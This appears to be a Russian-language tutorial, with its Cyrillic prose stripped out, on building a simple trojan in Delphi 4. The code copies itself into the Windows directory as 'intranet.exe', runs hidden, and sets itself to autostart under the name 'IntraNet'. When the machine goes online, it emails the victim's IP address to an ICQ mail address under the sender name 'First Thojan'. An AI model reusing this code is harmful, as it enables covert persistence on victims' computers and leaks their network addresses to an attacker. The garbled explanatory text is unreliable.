!!! |
DELPHI 4.0
Delphi. - : " ? .." , . , : , .
Delphi , . , 2, 3 4-, 5- - . , , ( - ).
: TRaylightAutostart, TOnlineIP, TNMSMTP. , :-). OnCreate :
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
:
var WinPath : array [0..255] of char;
CurPath : String;
. WinPath ,
CurPath .
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
, , ,
.
If pos(WinPath, CurPath) <> 0 then
,
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
, , "Intranet"
- , :-).
StartNextLogon := True;
- .
,
RunOnce, Run.
end
else
,
, ...
:-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
, , , , .
, ? , .C OnChange OnlineIP:
If not OnlineIP1.Online then exit;
,
NmSMTP1.Connect;
SMTP (SMTP)
if NMSMTP1.Connected then
,
begin
NMSMTP1.SubType := mtPlain;
:
NMSMTP1.PostMessage.FromAddress := '';
()
NMSMTP1.PostMessage.FromName := 'First Thojan';
()
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
. IP ( )
NMSMTP1.PostMessage.Subject := 'Server is online';
,
NMSMTP1.SendMail;
:-).
end;
P.S. , ! , , 273. , , . 15 , !